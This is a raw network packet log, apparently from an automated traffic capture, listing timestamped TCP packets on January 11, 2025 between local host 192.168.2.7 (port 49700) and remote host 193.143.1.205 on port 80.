Jan 11, 2025 05:15:07.274588108 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.275234938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.275245905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.275258064 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.275269032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.275279999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.275286913 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.275290966 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.275305033 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.275319099 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.275326967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.275346994 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.275362968 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.276197910 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.276209116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.276220083 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.276230097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.276240110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.276245117 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.276256084 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.276263952 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.276268959 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.276281118 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.276293039 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.276316881 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.277107954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.277120113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.277132034 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.277148962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.277158976 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.277160883 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.277172089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.277192116 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.277199984 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.277211905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.277219057 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.277255058 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.278098106 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.278109074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.278120041 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.278148890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.278151989 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.278162956 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.278175116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.278184891 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.278187037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.278208017 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.278245926 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.278279066 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.279052973 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.279063940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.279083014 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.279093027 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.279099941 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.279104948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.279115915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.279133081 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.279151917 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.279175043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.279186010 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.279217005 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.280040979 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.280052900 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.280065060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.280086040 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.280101061 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.280131102 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.280561924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.280574083 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.280585051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.280776024 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.280944109 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.280956030 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.280966997 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.280976057 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.280977964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.280989885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.281001091 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.281003952 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.281032085 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.289177895 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.305510998 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.305535078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.305568933 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.335861921 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.341751099 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.343081951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.343097925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.343110085 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.343127012 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.343162060 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.343167067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.343185902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.343199015 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.343209982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.343221903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.343224049 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.343234062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.343245983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.343246937 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.343274117 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.347879887 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.360045910 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.360076904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.360089064 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.360095024 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.360107899 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.360120058 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.360129118 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.360131979 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.360145092 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.360166073 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.360215902 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.380686045 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.380716085 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.380727053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.380743980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.380754948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.380767107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.380765915 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.380779028 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.380791903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.380803108 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.380814075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.380815029 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.380827904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.380836964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.380870104 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.380901098 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.397823095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.397844076 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.397855997 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.397866964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.397878885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.397890091 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.397892952 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.397929907 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.397954941 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.397977114 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.398056030 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398099899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.398149967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398220062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398262978 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.398350000 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398433924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398478031 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.398544073 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398578882 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398588896 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398602009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398622990 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.398654938 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.398663044 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398689985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398730040 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.398742914 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398761034 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398772955 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398802042 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.398816109 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398828030 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398834944 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398839951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398857117 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398902893 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.398925066 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398936033 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398947954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.398993015 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399003029 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399003983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399034977 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399194002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399205923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399216890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399226904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399235964 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399238110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399249077 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399261951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399272919 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399279118 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399280071 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399285078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399296999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399307966 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399334908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399343967 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399348974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399362087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399373055 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399374962 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399384975 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399394989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399405956 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399410009 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399418116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399430990 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399435043 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399456978 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399478912 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399548054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399559975 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399570942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399581909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399593115 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399604082 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399604082 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399616003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399624109 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399635077 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399647951 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399650097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399662018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399672985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399683952 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399692059 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399703026 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399708033 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399722099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.399741888 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.399759054 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.401741028 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.402820110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.402832031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.402844906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.402883053 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.402971983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.402987957 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403001070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403011084 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403019905 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.403022051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403033972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403042078 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.403047085 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403059006 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403070927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403081894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403084993 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.403094053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403105021 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403107882 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.403126001 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.403142929 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.403290987 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403307915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403332949 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403342009 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.403342962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403367996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403368950 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.403394938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403407097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403418064 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403420925 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.403431892 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.403444052 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.403467894 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.429769039 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.429797888 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.429807901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.429819107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.429827929 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.429831982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.429863930 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.430006981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.430027008 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.430038929 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.430047035 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.430119991 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.444441080 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.447038889 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.447056055 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.447076082 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.447087049 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.447099924 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.447104931 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.447118998 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.447124004 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.447130919 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.447153091 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.447164059 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.447175026 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.447180986 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.447189093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.447199106 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.447200060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.447213888 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.447218895 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.447227001 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.447236061 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.447241068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.447263956 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.467494965 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.467549086 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.467576027 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.467597008 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.467609882 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.467622042 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.467631102 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.467634916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.467648983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.467876911 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.467932940 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.484659910 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.484684944 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.484704018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.484714985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.484726906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.484728098 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.484739065 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.484751940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.484762907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.484767914 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.484776020 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.484787941 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.484808922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.484814882 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.484816074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.484855890 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.484870911 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.484880924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.484893084 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.484905005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.484925985 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.484965086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485002041 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485019922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485063076 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485101938 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485112906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485160112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485179901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485192060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485193014 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485227108 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485243082 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485255003 CET	80	49700	193.143.1.205	192.168.2.7
